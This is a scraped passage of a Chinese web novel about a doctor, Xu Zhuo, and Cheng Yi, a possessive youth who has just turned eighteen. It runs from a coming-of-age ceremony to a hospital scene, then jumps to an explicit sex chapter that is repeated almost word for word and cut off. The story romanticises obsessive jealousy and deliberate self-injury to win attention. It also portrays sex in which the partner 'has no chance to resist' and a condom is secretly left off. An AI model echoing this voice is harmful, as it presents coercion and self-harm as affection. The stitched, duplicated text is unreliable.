许酌紧赶慢赶,终于在十点四十五分到达了学校。 然而刚停好车,他就知道自己还是来晚了。 因为其他家长都已经带着自己的孩子在陆续往外走了。 许酌来不及愧疚,抱着花就往校门口跑。 还没跑到,许酌就远远看到了丞弋的身影。 丞弋今天没穿校服。 穿着白色衬衫,黑色裤子。 校门口人来人往,女同学盛装出席,男同学也是西装革履。 各个都闪耀无比。 但一眼看过去, 迎着满身阳光的丞弋无疑还是最耀眼的那一个。 只是少年人的表情太冷了,以他为圆心的周围直接形成了无形的真空地带。 许酌心想, 丞弋平时在学校都这么酷的么。 然而下一秒。 视线里那个冷酷少年就弯眼笑了起来。 “许酌哥!”丞弋看到许酌, 笑着跑过来。 哪里还有半分冷酷的模样,分明就是一个阳光大型犬。 许酌走过去, 带着几分歉意,“不好意思,我是不是来晚了?” “不晚。”丞弋直接拉上许酌的手, “走,我带许酌哥去签到。” 两人逆着人流往学校里走。 越走,丞弋身上的气压就越低。 好不容易走过校门,丞弋又猛地停下来。 许酌差点没收住脚撞他肩上,定定愣了愣才问,“怎么了?” 丞弋黑眸沉沉地看着许酌。 今天天气很好,阳光明媚又柔和。 他的许酌哥被太阳光照着,简直比阳光还要招人喜欢。 丞弋一路走到听到好几声小声惊叹了。 阴暗的占有欲让丞弋非常不高兴,一时间他都有些后悔把许酌哥喊来了。 “傻站着干什么?快进去啊。”许酌催他。 丞弋不动,问许酌,“许酌哥,你戴口罩了么?” 许酌疑惑,“没戴啊,学校有规定家长要戴口罩么?” 学校当然没有这种规定。 纯粹是他个人的小心眼在作祟。 丞弋说,“那我们先去便利店买个口罩吧。” 说着就要把许酌往便利店的方向拉。 许酌被拉着走了好几步,才从周围人的反应里明白过来丞弋为什么突然这样,不由得无奈。 “小弋。”许酌拉住丞弋,没再让他往前走,“不至于的。” 丞弋蹙着眉,小气巴巴的,“怎么不至于?许酌哥你是不知道自己有多可爱么。” 而且,虽然丞弋早已以一己之力孤立了全部同学。 但他还是很清楚这些同学都正处于一种情窦乱开的阶段。 万一这些人里也有像他这么阴暗的人偷偷觊觎上了他的许酌哥,那他一定会疯的。 许酌叹气,“好了你,我一个快奔三的大叔有什么可爱的。” 又催丞弋,“还是先去签到吧,等下我担心医院又有事喊我回去。” 丞弋安静两秒,最后还是妥协。 只是再往里走时,他会特别注意一下周围的视线。 见有人敢多看许酌一眼,他就冷冰冰看回去。 许酌自然发现了,有些头疼。 这小混蛋上辈子怕不是个土匪吧,占有欲那么强。 终于到了签到处,许酌拿笔签下自己的名字。 轮到签学生名字和班级的时候,他笔尖一顿,抬眼问丞弋,“小弋,你几班来着?” 丞弋看着许酌,有些委屈。 许酌讪笑,“不好意思啊,我太久没来过你学校了,真的忘了。” 丞弋撇着嘴,“8班。” 签到结束,负责签到的老师递给许酌一份成人帽,一本宪法小册,还有一个圆形的纪念胸章。 领完东西,丞弋带着许酌去了操场。 操场上的仪式已经结束了,但装点仪式的东西都在。 有些不着急走的学生正举着相机到处找人拍照呢。 许酌在操场上看了一圈,没感觉到青春有多热烈,只感觉到一阵散场的寂凉。 他又说,“不好意思啊小弋,我来晚了。” 丞弋本来还有些委屈许酌哥不记得他的班级,现在听他满声歉疚,瞬间就忘了什么是委屈,只赶紧放缓声音去哄许酌,“真的不晚的许酌哥。” 他看着许酌,“许酌哥只要能来,什么时候都不晚。” “而且,我也不喜欢那些吵闹的仪式,现在就我跟许酌哥两个人刚刚好。” 许酌没在他脸上看到逞强的意味,稍稍放下一点心,接着笑起来,“那你们刚才的仪式是怎么样的,我也给你来一遍。” 丞弋摇摇头,“不清楚,我没注意什么流程。” 许酌好笑,“那你刚才在干嘛?” 丞弋不假思索说,“我一直在想许酌哥。” 许酌:。 少年人的直白总是这么让人猝不及防。 许酌抿抿唇,“下回不要想些有的没的,在学校就要好好融入校园气氛,不然等你长大后再想回忆青春都不知道该回忆些什么。” 丞弋弯弯唇笑了,“许酌哥,你不要把我想得太正常。” 许酌看着他,一时没反应过来。 丞弋就说,“我根本不觉得无聊的高中生活有什么好回忆的,我会反复回忆的,只有许酌哥一个人而已。” 回忆许酌哥的每一个笑,每一个表情,还有每一次喊他名字的语气。 这几天的话,他更喜欢回忆亲许酌哥的每一个触感。 柔软下唇,滑嫩的舌尖,甜滋滋的口水。 阳光下,丞弋落在许酌脸上的目光逐渐炙热。 许酌不知道丞弋在回忆什么,但只看他滚烫又直白的眼睛,也知道他肯定没回忆什么正经东西。 毕竟他也是从十八岁这个年纪过来的。 许酌有些脸热,玩笑似的说他,“我谢谢你,但没事还是不要回忆了,不然我都要以为我不在了。” 说完不等丞弋再说什么,许酌又赶紧说,“那我就随意发挥了,可以么?” 丞弋用目光描绘着许酌脸颊上那一小片可爱粉晕,笑意微妙,“可以,许酌哥想怎么来都可以。” “好,那仪式的最开始……”许酌把怀里的向日葵送给丞弋,“就先预祝丞弋同学高考顺利,一举夺魁。” 丞弋珍惜接过,“谢谢许酌哥。” “接下来是戴成人帽。”许酌把成人帽打开,仰头戴在丞弋头上,“虽然成年人的世界有些辛苦,但还是恭喜你,正式成为一名成年人了。” 丞弋说,“我早就是成年男人了。” 许酌睨他,“不可以打扰我的仪式。” 丞弋乖乖,“好的。” 许酌这才把装在口袋里的那本红色宪法小册拿出来。 拿出来后,他先来回打量了好几眼,“好特别的《宪法》本啊,我们那时候都没发这个。” 丞弋笑,“那我给许酌哥发一次?” 许酌浅浅一笑,“谢谢你,但你哥我已经离18岁太遥远了,所以这本《宪法》还是颁发给你这个刚步入成年世界的小朋友吧。” 他把《宪法》本递到丞弋面前,“但是小弋,这一步不是仅仅只是成人仪式,所以接下来我说的每一个字你都要好好记住,可以么?” 丞弋点头,“可以。” 许酌认真,“那你先回答我一个问题,在你看来,十八岁意味着什么?” 丞弋没做思考,直接回答,“成年了,可以和喜欢的人谈恋爱了。” 许酌没有对这个回答感到无奈,反而赞同点头,“对,成年了,可以正常谈恋爱了,这也就意味着,你拥有更多的权利和自由了。” “所以你一定要记住,有权利不等于可以肆意放纵,自由不等于可以无法无天。” “作为一名合格的成年人,你要克制,要冷静,要会辨别是非。” “还有就是,永远不要被一时的冲动情绪操控了你。” 丞弋面上不动声色,心里却在听到这句话时无端疼了一下。 看来上次的冲动真的把许酌哥吓得不轻。 以至于直到今天他都还深深记得。 “最后,希望丞弋同学在法律的安全区里快乐地成长,尽情地做自己。” 丞弋看了看眼前红色的小本子,又看了眼许酌。 最后还是在许酌期待的目光下接过,“谢谢许酌哥,你说的我都记住了。” 能束缚他的从来都不是什么《宪法》。 只有许酌哥。 许酌欣慰,“嗯,记住就好。” 还有一个步骤。 许酌从另一侧口袋里拿出纪念胸章给丞弋戴上。 戴好,他轻轻拍了拍胸章,“胸章设计的不错,很漂亮。” 丞弋还是说,“喜欢的话送给许酌哥。” 许酌都无奈了,“你怎么什么都要送我。” 丞弋说,“当然是讨许酌哥欢心啊。” 许酌嗔他一眼,“又开始说浑话了。” 心里却忍不住想笑。 之前没觉得,今天他才恍然发现,丞弋好像有点傻乎乎的。 虽然有时候会耍点小心机,可也一直都在毫无保留地表述着他的喜欢。 只是很遗憾,少年人的这份喜欢注定要无疾而终了。 许酌在心里空叹一声,接着就抬手去拨成人头上那个成人帽的穗子。 至此,成人礼的仪式就全都结束。 许酌大方张开手,“来吧小弋,欢迎来到成年人的世界。” 没有任何犹豫,丞弋几乎是迫不及待就俯身抱住了许酌。 “许酌哥。”丞弋将脸埋在他脖颈蹭了蹭,黏人的狗一样,“那我现在算不算离你更近一步了。” 许酌笑,“难道我们两个现在站的很远么?” 丞弋跟着笑,手上也微微用力把许酌环抱得更加紧了些,“许酌哥,你是不是一直都不知道,你每一次闪烁其词的时候,我都能感受到你克制的喜欢。” 许酌:。 察觉到怀里人的沉默,丞弋弯弯唇把人抱得更紧了,“但许酌哥放心,在你想把那份喜欢给我之前,我是不会逼你什么的。” “你都不知道,只是被你喜欢,我都已经开心到想死掉了。” “瞎说什么呢。”许酌不赞同地拍了他一下。 丞弋笑意更浓,“许酌哥。” 他喊人,喊了人又不说话了。 许酌安静等着他,眼睛不自觉看到了远处一群青春靓丽的几个同学。 那些同学们穿着好看的成人礼服,手里各拿着一个不同色彩的氦气球。 他们站成一排,面对着站立在地上的三脚架。 大家口中齐齐倒数着三二一。 倒数声结束,几人不约而同放飞手里的气球。 口中还大喊着什么。 许酌没有听清她们喊了什么。 因为他耳边忽然响起了丞弋的声音。 “我爱你。” “好爱好爱你。” 是很轻的声音,但一股无形的力量却将耳边的世界按下了静音键, 就显得丞弋的声音很重。 重到许酌甚至能听清他每一个短小音节的变化。 以及少年人毫无保留的浓烈、与忠诚。 那一刻,许酌心跳得很快。 第40章 第 40 章 你哥找我可能有事。 40 四月一结束, 高考就真的近在眼前了。 而本该艳阳高照的五月,最近却阴雨连绵。 医院的急诊都因此而加强了不少。 许酌光是接收因为车祸引发的心脏病人就接了不下十个。 病房的周转率都险些完成不了了。 许酌每天忙的脚打后脚跟,都没时间去顾丞弋。 还是在查房的时候听到病人们聊起自家要参加高考的孩子, 说孩子们最近怎么怎么烦躁。 他才恍然反应过来他好像真的忽略丞弋很久了。 于是查房结束后,他就决定晚上下班后要好好注意下丞弋的备考状态。 结果晚上刚下手术, 一个护士就突然跟他说,“许医生, 我刚在急诊看到你弟了,他好像出车祸了。” 话音落下,许酌眼中骤然一颤, 声音都不自觉发起了抖, “什么?” 接着又问,“他受伤了没?严不严重?” 护士说,“应该是受伤了,我看他手上有血,但严不严重不清楚,我忙着去拿报告了,你还是自己去看一下吧。” “好。”许酌放下手中的各项单子,“我先过去看一下, 这些单子等我回来再签字。” 话说完,护士就见一向温柔自若的许医生惊慌不安地急跑了起来。 住院楼和急诊隔着一栋楼。 许酌不知道自己用了多快的速度, 他只知道眼前所有的一切都在自己跑起来的一瞬间变得缥缈了起来。 脚下每一步抬起和落下时的触感也都仿佛悬浮在空中一般, 充满了失重感。 直到跑进急诊大门,许酌才从周围来往的病患脸上找到一点点脚踩在地上的真实感。 而这时, 他也终于发现自己的心跳频率已经快到仿佛要从喉咙里跳出来了。 来不及调整呼吸,许酌就急忙跑到护士站问,“不好意思请问一下, 刚才这里有没有来一个出车祸的高中生?” 急诊护士见来人是心脏科的许医生,忙回答,“高中生?好像是有一个许医生稍等一下。” 护士在电脑上简单操作了两下,而后抬头问,“是叫丞弋么?” 许酌点头,“对!” 护士说,“哦,那他现在应该在缝合室呢。” “谢谢!”许酌道完谢就急忙往缝合室的方向快跑了起来。 结果丞弋已经不在缝合室了。 问了缝合室的医生,医生说他已经离开了。 许酌下意识想拿出手机给丞弋打电话,抬手发现自己连手术服都没换下,自然也没带手机。 缝合室的同事见他实在担心,就说,“那学生伤得不重,就缝了七针,你别太担心了。” 七针 对于经常缝合伤口的医生来说,七针确实算不上重伤范围。 就连许酌自己的理智在听到这句话时也不由自主放松了一些。 七针的伤口确实没他预想的那么严重。 可他高高提起来的心却还是控制不住地狠狠纠了一下。 不过他没有表现出来,礼貌道了声谢就出了急诊往住院楼走了。 根据他对丞弋的了解,丞弋来一趟医院不会不去找他。 许酌仍旧是跑回去的。 等他终于跑出电梯转过拐角,果然就在办公室门口看到了等在那里的丞弋。 丞弋一身蓝白校服,肩上垮着书包,一手插口袋,一手提着外卖包装袋。 看到他,他一如既往地笑着朝他迎过来,“许酌哥!” 许酌的目光不停在他身上上下扫视。 然后他看见,丞弋身上的校服染了不少灰色的泥泞。 主要都是在左手臂的位置。 而他藏在口袋里的手,刚好也是左手。 许酌喉咙发紧,等丞弋走至面前,哑着嗓子开口,“身上怎么回事?” 丞弋笑得自然,“没什么,过马路的时候不小心摔了一下。” 许酌的目光落到他的校服口袋上,“手拿出来我看一下。” 丞弋说,“没什么好看的。” 说着,他递出手上的外卖,“许酌哥还是先吃点东西吧,你今天都没好好吃饭。” 许酌之前答应过丞弋要好好吃饭。 也会给他拍吃饭的照片。 但今天他太忙了,根本没时间去食堂吃饭,只匆忙吃了几个面包充饥。 为了不让丞弋唠叨他,许酌索性没给他发照片。 许酌不意外丞弋能察觉到,毕竟丞弋所有的心思都用在他身上了。 可许酌突然好生气,好像他这十几分钟的担心和焦急都是多余的。 好像丞弋他自己的伤也是无关紧要的。 情绪在这一刻不受控制,许酌眸底浮现出愠色,“丞弋!现在重要的是我有没有好好吃饭么?” 丞弋没说话。 空气安静了两秒。 两秒后,丞弋直接走过去抱住许酌,然后说,“是的许酌哥,你有没有好好吃饭对我来说真的很重要。” 一拳打在了棉花上,许酌明明没有受到力量的回击,可心口还是骤然疼了起来。 许酌很清楚那不是因为生气造成的。 是被丞弋毫无保留扑过来的爱意裹缠的。 少年人恐怕你不能感受到他的心意,所以从不吝啬表达自己的心意。 哪怕有些用力过猛。 但真诚。 炙热。 反观他自己,扭扭捏捏,犹犹豫豫。 只是因为付出的担心没有得到回应就忽然急躁了起来。 可丞弋真的需要口头上的关心和担心么? 他可能并不需要吧。 想到这里,许酌堵在心口的气也倏地消散了。 他无声闭了闭眼,然后抬手,紧紧抓住丞弋的一点衣摆,“可我真的很担心你。” 感受到衣摆处的拉扯,丞弋把许酌抱得更紧了,脸埋在许酌颈间说,“可许酌哥你都不抱我。” 许酌没说话。 走廊忽然有脚步声响起,许酌没经思考就推开丞弋。 丞弋被他推的连退两步才站稳,然后一脸委屈看着他。 许酌下意识想道歉,但最后还是止住了。 抿抿唇,他说,“你在这等我下,我去换衣服下班。” 换好衣服,许酌去护士台把刚才搁置的几张单子和医嘱都签上字后才下班。 回家的路上,许酌一路沉默。 丞弋也没开口说话。 安静的车厢里只有细雨滴落下来的声音。 直到回到家,换好鞋,许酌才终于开口说,“小弋,你今天不是故意摔跤的吧?” 丞弋顿住换鞋的动作,黑沉的眼睛眨也不眨地凝着许酌,“如果是呢?” 许酌声音温柔,“如果是的话,以后不可以了。” 丞弋安静两秒,又问,“许酌哥会觉得我可怕么?” 许酌摇摇头,“不会。” 顿了顿又说,“但我不希望再看到你故意伤害自己了。” 丞弋说,“可我需要许酌哥的视线更多的停留在我身上。” 许酌没接这句话,而是问,“你作业写完了么?” 丞弋嗯,“写完了。” 许酌点了点头,“那你先把东西放一下,我去洗个澡。” 丞弋拉住他的手,“许酌哥,你可以先把话说完么?” 许酌回头,“五分钟,再给我五分钟的时间,可以么?” 丞弋没有松手。 他能预感到许酌接下来的话,所以他一分一秒都不想等。 但看着许酌眼底的纠结和迟疑,他还是缓缓松了手,“好,我等许酌哥。” 许酌是个时间观念很强的人。 说了五分钟就五分钟。 五分钟一到,许酌就打开了卫生间的门。 结果一开门就迎面对上了丞弋的视线。 许酌怔了一下,而后才无奈轻叹,“怎么不去沙发坐着等。” 许酌怀疑丞弋一直都没换过姿势。 因为他甚至连书包和手里的外卖袋都没放下来。 丞弋没接这句话,而是上前一步说,“五分钟到了,许酌哥想跟我说什么?” 许酌张了张口,但还没来得及发音,身后就响起嗡嗡的震动声。 “稍等,我先去接一下电话。” 丞弋眼底湿沉起来,很显然已经耐心不足了。 不过他并没阻止许酌接电话,而是放下外卖和书包,跨着大步跟着许酌一起进了卫生间。 许酌把盥洗台上的手机拿起来。 看到来电显示时,他蓦然愣了下。 来电显示是丞敛。 丞弋站在许酌身后,越过许酌肩膀落在手机上的视线沉得渗人。 浴室里氤氲的热气尚未散去,许酌根本不用回头,就感受到身后蔓延过来的一阵黏冷气息 他无奈轻叹,回头尽量放柔声音说,“小弋,你哥找我可能有事,我先接一下。” 丞弋稠黑的眼睛透过细碎的刘海直直盯着许酌,半晌才应声说,“嗯,那许酌哥快接吧,别让我哥等太久了。” ‘我哥’两个字咬得很重,仿佛用尖锐的犬牙死死咬住猎物的猛兽。 许酌清楚感受到丞弋平静语气中的戾气,无声和他对视了两秒。 最后还是选择没把这位容易失控的少年赶出洗手间,只是温声说,“那你别说话。” 得到丞弋点头说好之后,许酌这才回身接通了丞敛的电话,“喂?” “在做什么?”丞敛在电话那边问他。 话音落下,腰上环上一只结实的手臂。 许酌来不及侧头去看丞弋,颈侧就先落下一阵烫人的触感。 丞弋在颈间舔了一下。 心跳忽然失衡,许酌下意识要拿开丞弋的手,发力之前觉得掌心的触感不对,低头一看。 环在腰上的手裹着棉质的纱布。 是丞弋一直藏在口袋里的左手。 想到纱布之下是缝着七针的伤口,许酌顿时松了力气,不敢轻易触碰。 只是对着电话那边加快语气说,“刚下班回到家,你打电话是有什么事么?” “没什么事。”丞敛说,“就是想问问你明天晚上有没有时间,我想请你陪我出席一场饭局。” 湿热的触感沿着脖颈来到了耳后。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& THE END 第44章 第 44 章 “好哥哥,再…… 44 许酌有一瞬间凝滞, 但身体里的渴热已经被挑至到了最高峰。 所以他凝滞了片刻后,还是在丞弋忙着在他颈侧啄吻时撕开了包装袋。 因为手发软,他撕了好几次才将将撕开一条窄小的缝隙。 他将东西拿出来。 帮丞弋戴上去。 手没有力气, 丞弋也不帮他。 往上戴的时候像极的抚摸。 丞弋呼吸重的厉害。 青筋一跳一跳的。 顺利戴上后。 丞弋就开始占据更深的领地了。 夸张的尺寸让许酌眼角的泪几乎没有断过。 晶莹的泪顺着潋滟红润的眼尾流淌下来,不等落下就被舌尖卷走。 每一滴泪都没有浪费。 全都被丞弋一滴不落地吞了进去。 然而许酌已经感受不到他的这点小动作了。 饿急的野狗终于吃到梦寐以求的肉, 根本不会细嚼慢咽,说是狼吞虎咽都不为过。 许酌有几次甚至都要呼吸不上来了, 咬着唇才没让自己崩溃哭出来。 丞弋用拇指抚开许酌紧闭在一起的唇瓣,将可怜的下唇从小巧的贝齿下解救出来。 “许酌哥,哭给我听好不好?” “我想听很久了。” 许酌意识模糊, 根本没听清丞弋说什么。 但细小的呜咽声还是无法自控地从微张的唇间溢出来。 得到奖励一般, 野狗进食的速度再度加快。 不过短短几秒,许酌那细小的呜咽就变成了破碎的哭声。 哭声里还混杂着凌乱的喘。 直到闷热的空气里蔓延出一片淫靡又甜腥的味道,许酌的哭声才渐渐停止。 朦黄的灯光下,许酌一张脸哭得好可怜。 可他那双水光粼粼的眼睛又诱人极了。 丞弋像被钓住的狗,本能地凑过去舔舐,“许酌哥,你哭得好漂亮啊。” 许酌双眼失焦,没有去接丞弋这句话。 丞弋似乎也没想要回答, 细密的吻沿着湿润的眼角一点点往许酌的耳廓、脖颈蔓延。 许酌出了很多汗,白皙的皮肤像被蒸熟了一样, 粉润可口。 含了口晶莹的汗。 是甜的。 丞弋吃不够一样, 一寸寸含着,吻着。 直到把许酌身上的汗都含进嘴巴里, 他才重新回到许酌的唇瓣上。 鼻尖相抵时,许酌失焦的瞳孔终于有了点迷离的焦距。 他看着近在咫尺的丞弋。 丞弋也用眼神包裹着他。 呼吸缠绕中,丞弋开口问许酌, “许酌哥,我表现的怎么样?” 许酌微喘着,“你不听话了” 好几次他都说慢一点,可丞弋根本不听。 凶猛地似要把他整个人都撞碎。 分明是责怪,可丞弋愣是被夸奖一般笑了起来,“许酌哥是喜欢这样的,对吧?” 许酌没说话。 “那跟我哥比呢?”少年目光黑沉,“我跟我哥谁更凶一点?” “或者说谁更厉害一点?” 许酌:。 这让他怎么回答? 许酌干脆没答,抿着唇偏开头,“你先出来吧,我有点困了。” 丞弋却不肯就此翻篇,大手贴着许酌的侧脸帮他慢慢回正,“许酌哥,我想知道,你告诉我,好不好?” 许酌:。 许酌:。 许酌深知少年人有多偏执,今晚得不到答案恐怕是不会放他睡觉的。 于是静默半晌,还是忍着羞耻回答,“你厉害。” 他脸热得厉害,“小弋更厉害一点。” 丞弋满足笑了一下,“那” 他缓缓抬起另一只手。 烫人的指尖顺着许酌布满吻痕的胸口一点点下滑,直至停到一点微拢的起伏上,“我哥也到过许酌哥这里么?” 许酌:“” 果然很会得寸进尺。 许酌觉得答完这个问题,丞弋还会有更羞耻的问题等着他。 索性不答,而是环上他的脖颈,吻上他的唇。 试图用接吻躲避问题。 结果一吻还没结束,感官里蛰伏的乖狗就再次危险了起来。 察觉到危险的许酌本能地想结束这个吻,可丞弋却握着他脖颈穷追不舍起来。 “好哥哥,再疼小弋一次吧” “” 没了反抗的机会,许酌再一次被炙热的火把架了起来。 理智失焦,感官迟钝。 许酌不知道深夜是怎么流逝过去的,但迷迷糊糊再睁开眼时,日出的光已经落进了房间里。 “小弋”许酌抓了下丞弋的肩膀。 丞弋从他颈间抬头。 少年人满头大汗,可一双黑眸却极尽明亮。 很显然。 他吃饱了。 许酌闭了闭眼。 清楚意识到自己和丞弋的体力差距存在着一条无法跨越的鸿沟。 “许酌哥,你身上好香啊。”丞弋亲不够一样又去吻许酌的嘴唇,“以后我们每天都这样做好不好?” 许酌一口气差点没上来,“不可以虐待可怜的中年人。” 丞弋轻轻抚着许酌的眉眼,抚不够,他又亲,“许酌哥才不是中年人,许酌哥是我见过的最漂亮的男人,我好喜欢许酌哥真的好喜欢好喜欢。” 少年人汹涌到无法压制的喜欢铺天盖地般地笼罩下来。 许酌心口充盈得像膨胀的气球。 想飞走,一根无形的线又牢牢牵在了丞弋手中。 许酌看着丞弋,良久才抬手抚了抚丞弋湿黑的发,“我也喜欢你的。” 吻势顿住,丞弋极其缓慢地眨了下眼睛。 而后又极其缓慢地抬了抬眼眸。 视线落到许酌的目光中又凝滞了很久,丞弋这才略显迟钝问,“许酌哥刚说什么?” 许酌笑,“我说我也是喜欢你的。” 话音落下,许酌清楚看到丞弋亮起两簇炽烈的光。 像两颗跳动的火球。 兴奋得要爆炸。 丞弋掐紧他的腰身,“许酌哥,我刚才没听清,你能再说一遍么?” 许酌亲他唇角,“明天再说好不好?今天先睡觉。” 丞弋此时兴奋的都可以再跑一趟马拉松,哪里肯睡觉。 但看着许酌湿红困倦的眼睛,他只好竭力压下再来一次的冲动,低头亲许酌,“好,听阿酌的。” 睡觉前要给许酌清洗身体。 本来是不用的,但丞弋最后一次没用保险套。 全弄里面了。 许酌还不知道,等他被丞弋打横抱起时,他才从逐渐往外流淌的热度中反应过来什么。 他看着丞弋,“你怎么” 丞弋立即卖乖亲人,“对不起啊许酌哥,我刚才没忍住,下次一定不会了。” 许酌觉得他的道歉没多少诚意。 不过他也没再多说什么了。 毕竟 直观的接触才是最令人灵魂颤栗的。 清洗干净后,丞弋没有把许酌放回大床上。 而是出了主卧,去了丞弋的卧室。 “床单都脏了,先睡我房间吧。” 话是这样说,可许酌此时此刻就觉得自己很像被野兽叼回窝的猎物。 但他太困了,也就没拒绝。 直到躺下了,后背贴上暖烘烘的胸膛,许酌才有了一种他真的跟丞弋在一起的强烈真实感。 “许酌哥。” 胸膛震动,身后人声音很轻的在喊他。 应该是在试探他有没有睡。 许酌已经困到意识模糊了,但听到丞弋喊他还是应,“嗯。” 小狗很黏人。 你不理他他会难过。 “今天算不算我们在一起的第一天?”丞弋问他。 许酌想了想,说,“算吧。” 丞弋抱紧他,“那以后我们都在这一天过纪念日好不好?” 空气安静了两秒,许酌声音困倦,“我可能会忘记。” “没关系。”丞弋说,“我会记得。” 回应丞弋的,是许酌逐渐平稳的呼吸。 许酌睡着了。 丞弋没有失落,吻了吻许酌的侧脸和唇角,然后说,“晚安,许酌哥。” 真好,许酌哥在他怀里睡着了。 是第一次。 但绝不会是唯一一次。 因为,以后的时间还很久很久。 他会拥有许酌哥直至化成白骨的那一刻。 ——正文完——魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& THE END 第44章 第 44 章 “好哥哥,再…… 44 许酌有一瞬间凝滞, 但身体里的渴热已经被挑至到了最高峰。 所以他凝滞了片刻后,还是在丞弋忙着在他颈侧啄吻时撕开了包装袋。 因为手发软,他撕了好几次才将将撕开一条窄小的缝隙。 他将东西拿出来。 帮丞弋戴上去。 手没有力气, 丞弋也不帮他。 往上戴的时候像极的抚摸。 丞弋呼吸重的厉害。 青筋一跳一跳的。 顺利戴上后。 丞弋就开始占据更深的领地了。 夸张的尺寸让许酌眼角的泪几乎没有断过。 晶莹的泪顺着潋滟红润的眼尾流淌下来,不等落下就被舌尖卷走。 每一滴泪都没有浪费。 全都被丞弋一滴不落地吞了进去。 然而许酌已经感受不到他的这点小动作了。 饿急的野狗终于吃到梦寐以求的肉, 根本不会细嚼慢咽,说是狼吞虎咽都不为过。 许酌有几次甚至都要呼吸不上来了, 咬着唇才没让自己崩溃哭出来。 丞弋用拇指抚开许酌紧闭在一起的唇瓣,将可怜的下唇从小巧的贝齿下解救出来。 “许酌哥,哭给我听好不好?” “我想听很久了。” 许酌意识模糊, 根本没听清丞弋说什么。 但细小的呜咽声还是无法自控地从微张的唇间溢出来。 得到奖励一般, 野狗进食的速度再度加快。 不过短短几秒,许酌那细小的呜咽就变成了破碎的哭声。 哭声里还混杂着凌乱的喘。 直到闷热的空气里蔓延出一片淫靡又甜腥的味道,许酌的哭声才渐渐停止。 朦黄的灯光下,许酌一张脸哭得好可怜。 可他那双水光粼粼的眼睛又诱人极了。 丞弋像被钓住的狗,本能地凑过去舔舐,“许酌哥,你哭得好漂亮啊。” 许酌双眼失焦,没有去接丞弋这句话。 丞弋似乎也没想要回答, 细密的吻沿着湿润的眼角一点点往许酌的耳廓、脖颈蔓延。 许酌出了很多汗,白皙的皮肤像被蒸熟了一样, 粉润可口。 含了口晶莹的汗。 是甜的。 丞弋吃不够一样, 一寸寸含着,吻着。 直到把许酌身上的汗都含进嘴巴里, 他才重新回到许酌的唇瓣上。 鼻尖相抵时,许酌失焦的瞳孔终于有了点迷离的焦距。 他看着近在咫尺的丞弋。 丞弋也用眼神包裹着他。 呼吸缠绕中,丞弋开口问许酌, “许酌哥,我表现的怎么样?” 许酌微喘着,“你不听话了” 好几次他都说慢一点,可丞弋根本不听。 凶猛地似要把他整个人都撞碎。 分明是责怪,可丞弋愣是被夸奖一般笑了起来,“许酌哥是喜欢这样的,对吧?” 许酌没说话。 “那跟我哥比呢?”少年目光黑沉,“我跟我哥谁更凶一点?” “或者说谁更厉害一点?” 许酌:。 这让他怎么回答? 许酌干脆没答,抿着唇偏开头,“你先出来吧,我有点困了。” 丞弋却不肯就此翻篇,大手贴着许酌的侧脸帮他慢慢回正,“许酌哥,我想知道,你告诉我,好不好?” 许酌:。 许酌:。 许酌深知少年人有多偏执,今晚得不到答案恐怕是不会放他睡觉的。 于是静默半晌,还是忍着羞耻回答,“你厉害。” 他脸热得厉害,“小弋更厉害一点。” 丞弋满足笑了一下,“那” 他缓缓抬起另一只手。 烫人的指尖顺着许酌布满吻痕的胸口一点点下滑,直至停到一点微拢的起伏上,“我哥也到过许酌哥这里么?” 许酌:“” 果然很会得寸进尺。 许酌觉得答完这个问题,丞弋还会有更羞耻的问题等着他。 索性不答,而是环上他的脖颈,吻上他的唇。 试图用接吻躲避问题。 结果一吻还没结束,感官里蛰伏的乖狗就再次危险了起来。 察觉到危险的许酌本能地想结束这个吻,可丞弋却握着他脖颈穷追不舍起来。 “好哥哥,再疼小弋一次吧” “” 没了反抗的机会,许酌再一次被炙热的火把架了起来。 理智失焦,感官迟钝。 许酌不知道深夜是怎么流逝过去的,但迷迷糊糊再睁开眼时,日出的光已经落进了房间里。 “小弋”许酌抓了下丞弋的肩膀。 丞弋从他颈间抬头。 少年人满头大汗,可一双黑眸却极尽明亮。 很显然。 他吃饱了。 许酌闭了闭眼。 清楚意识到自己和丞弋的体力差距存在着一条无法跨越的鸿沟。 “许酌哥,你身上好香啊。”丞弋亲不够一样又去吻许酌的嘴唇,“以后我们每天都这样做好不好?” 许酌一口气差点没上来,“不可以虐待可怜的中年人。” 丞弋轻轻抚着许酌的眉眼,抚不够,他又亲,“许酌哥才不是中年人,许酌哥是我见过的最漂亮的男人,我好喜欢许酌哥真的好喜欢好喜欢。” 少年人汹涌到无法压制的喜欢铺天盖地般地笼罩下来。 许酌心口充盈得像膨胀的气球。 想飞走,一根无形的线又牢牢牵在了丞弋手中。 许酌看着丞弋,良久才抬手抚了抚丞弋湿黑的发,“我也喜欢你的。” 吻势顿住,丞弋极其缓慢地眨了下眼睛。 而后又极其缓慢地抬了抬眼眸。 视线落到许酌的目光中又凝滞了很久,丞弋这才略显迟钝问,“许酌哥刚说什么?” 许酌笑,“我说我也是喜欢你的。” 话音落下,许酌清楚看到丞弋亮起两簇炽烈的光。 像两颗跳动的火球。 兴奋得要爆炸。 丞弋掐紧他的腰身,“许酌哥,我刚才没听清,你能再说一遍么?” 许酌亲他唇角,“明天再说好不好?今天先睡觉。” 丞弋此时兴奋的都可以再跑一趟马拉松,哪里肯睡觉。 但看着许酌湿红困倦的眼睛,他只好竭力压下再来一次的冲动,低头亲许酌,“好,听阿酌的。” 睡觉前要给许酌清洗身体。 本来是不用的,但丞弋最后一次没用保险套。 全弄里面了。 许酌还不知道,等他被丞弋打横抱起时,他才从逐渐往外流淌的热度中反应过来什么。 他看着丞弋,“你怎么” 丞弋立即卖乖亲人,“对不起啊许酌哥,我刚才没忍住,下次一定不会了。” 许酌觉得他的道歉没多少诚意。 不过他也没再多说什么了。 毕竟 直观的接触才是最令人灵魂颤栗的。 清洗干净后,丞弋没有把许酌放回大床上。 而是出了主卧,去了丞弋的卧室。 “床单都脏了,先睡我房间吧。” 话是这样说,可许酌此时此刻就觉得自己很像被野兽叼回窝的猎物。 但他太困了,也就没拒绝。 直到躺下了,后背贴上暖烘烘的胸膛,许酌才有了一种他真的跟丞弋在一起的强烈真实感。 “许酌哥。” 胸膛震动,身后人声音很轻的在喊他。 应该是在试探他有没有睡。 许酌已经困到意识模糊了,但听到丞弋喊他还是应,“嗯。” 小狗很黏人。 你不理他他会难过。 “今天算不算我们在一起的第一天?”丞弋问他。 许酌想了想,说,“算吧。” 丞弋抱紧他,“那以后我们都在这一天过纪念日好不好?” 空气安静了两秒,许酌声音困倦,“我可能会忘记。” “没关系。”丞弋说,“我会记得。” 